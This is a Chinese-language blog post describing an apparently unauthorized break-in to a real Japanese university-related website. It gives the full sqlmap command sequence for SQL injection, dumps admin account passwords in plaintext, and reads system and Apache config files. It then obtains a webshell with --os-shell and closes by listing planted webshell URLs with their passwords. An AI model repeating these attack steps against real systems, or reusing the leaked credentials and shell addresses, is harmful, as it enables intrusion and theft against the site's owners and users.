信息探测:
目标站点:http://icfcs.xxxxx.jp 服务器IP:210.166.xxx.76(日本) 环境平台:PHP/5.1.6 服务器系统:Apache/2.2.3 (Red Hat) 打开网站首页,随便的打开了一个链接,手工测试了下注入漏洞是否存在,’(返回错误),直接就仍 sqlmap 测试注入,返回结果确定可以进行注入(手工无法注入,不知是否个人技术问题),and 1=1(返回正常)and 1=2(返回正常),后来测试的俩个返回结果都正常,具体原因就不太清楚了,没去看代码,也看不懂 0_0 !
接下来使用 sqlmap 工具跑管理员帐号、密码:
1、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --dbms "mysql" --dbs // 列出所有数据库名
2、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --dbms "mysql" --current-db // 列出当前数据库名
3、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --dbms "mysql" --current-user // 列出当前数据库用户
4、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" --tables // 列出icfcs数据库的表名
5、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --columns// 列出icfcs数据库admin表中的列名
6、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --C "admin_id,admin_pw" --dump //列出icfcs数据库admin表中的admin_id,admin_pw字段内容
available databases
current database
current user
icfcs [tables]
icfcs Table: admin [columns]
icfcs Table: admin [entries]
[*] colonnade
[*] eccube
[*] icfcs
[*] information_schema
[*] mysql
[*] namiki-s
[*] test
icfcs
admin-icfcs@localhost
+----------+
| admin |
| download |
| news |
| research |
| science |
+----------+
+----------+--------------+
| Column | Type |
+----------+--------------+
| admin_id | varchar(255) |
| admin_pw | varchar(255) |
| group_id | varchar(255) |
+----------+--------------+
+----------+----------+
| admin_id | admin_pw |
+----------+----------+
| admin | Sp9Qq8kf |
| group1 | UhbY64no |
| group2 | 9ffvPHh1 |
| group3 | Ip84lIxd |
| group4 | e19EkjJb |
| group5 | rOSuvx97 |
| group6 | mutPC84l |
| group7 | nAN8yv3a |
| group8 | kCUeq61u |
+----------+----------+
后台地址:http://icfcs.xxxxx.jp/admin/ ,上面通过注入漏洞已经跑出了管理员的帐号、密码,但是进了后台发现只有3个栏目,一个上传和一个fckeditor编辑器,都做了限制,我知道的思路基本都试过了,无法通过后台直接拿到 Webshell ,蛋疼阿 。@_@
抽根烟休息了会,经过一段时间的测试发现 admin-icfcs@localhost 数据库用户既然是 root 权限,测试方法如下:
1、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 -D "eccube" --tables // 可跨库查询
2、root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --file-read "/etc/passwd" // 可读系统文件
用以上两种办法测试就可以确定 admin-icfcs@localhost 数据库用户为 root 权限,既然我们知道了 admin-icfcs@localhost 为 root 权限了,那就有思路了,直接使用 admin-icfcs@localhost 导出 Webshell 。
Mysql Root 导出 Webshell 必备条件: 1. 注入点:http://icfcs.xxxxx.jp/news/detail.php?news_id=66 2. Root数据库用户:admin-icfcs@localhost (root权限) 3. magic_quotes_gpc:Off 关闭 参考链接:http://baike.baidu.com/view/5234458.htm 4. 网站绝对路径:/home/icfcs.kanxxxxx.ac.jp/public_html/
sqlmap –file-read 参数 – 获取网站绝对路径获取方法:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --file-read "/etc/httpd/conf/httpd.conf"
使用 sqlmap 工具的 –file-read 参数读取的“/etc/httpd/conf/httpd.conf ”Apache 配置文件存放路径如下:
/pentest/database/sqlmap/output/icfcs.kanxxxx-u.ac.jp/files/etc/httpd/conf/httpd.conf
sqlmap –os-shell 参数 – 获取网站 Webshell 权限方法:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://icfcs.xxxxx.jp/news/detail.php?news_id=66 --os-shell
所噶,在这里应该可以说已经拿下了,来看下我们使用sqlmap工具的 –os-shell 参数生成的一个临时上传文件(文件名随机生成的): 由于这位朋友说已经拿到了他需要的东西,所以我也就没继续提权了 。
信息整理:
/home/chemixxxba.com/public_html/files/
/home/chemixxxba.com/public_html/upload/
/home/chemixxxba.com/public_html/guanli2010/
/home/chemixxxba.com/public_html/phpinfo.php
http://www.chemixxxba.com/files/EXCEL/index.php ice
/home/icfcs.kanxxxx-u.ac.jp/public_html/upload/
http://icfcs.xxxxx.jp/upload/aa.php admin!@#123ASD
http://icfcs.xxxxx.jp/upload/gb2312.php gh0st
http://icfcs.xxxxx.jp/upload/0316Programs(1).php admin!@#123ASD
|
评论前必须登录!
立即登录